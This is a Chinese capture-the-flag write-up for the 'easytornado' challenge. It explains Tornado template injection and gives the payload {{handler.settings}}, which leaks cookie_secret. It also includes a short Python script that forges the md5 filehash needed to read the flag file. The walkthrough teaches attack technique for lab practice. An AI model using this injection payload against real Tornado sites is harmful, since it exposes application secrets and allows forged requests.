题目:攻防世界:easytornado

提示:学习 tornado 模板注入STTI,获取cookie_secret

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python
的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler
指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向

RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造获取cookie_secret的payload:

http://XXX/error?msg={{handler.settings}}


步骤

  1. 网站页面

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  1. 并且发现url中传输了两个参数,一个是filename,另一个是filehash, 改下filename 试试 /fllllllllllllag

在这里插入图片描述
报错了,可以猜测不止需要filename,filehash也必须要,而且要满足 “md5(cookie_secret+md5(filename))”。 但是 cookie_secret在哪呢。


  1. 利用tornado框架渲染注入获取cookie_secret

在这里插入图片描述

在这里插入图片描述


  1. 生成fllllllllllllag的filehash
import hashlib

cookie_secret = "d4c23be3-6ab1-40da-adc5-320376f1d4cb"

filename = "/fllllllllllllag"

md5file = hashlib.md5(filename.encode())

allmd5 = hashlib.md5()

allmd5.update((cookie_secret+md5file.hexdigest()).encode())

print(allmd5.hexdigest())

在这里插入图片描述

在这里插入图片描述

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐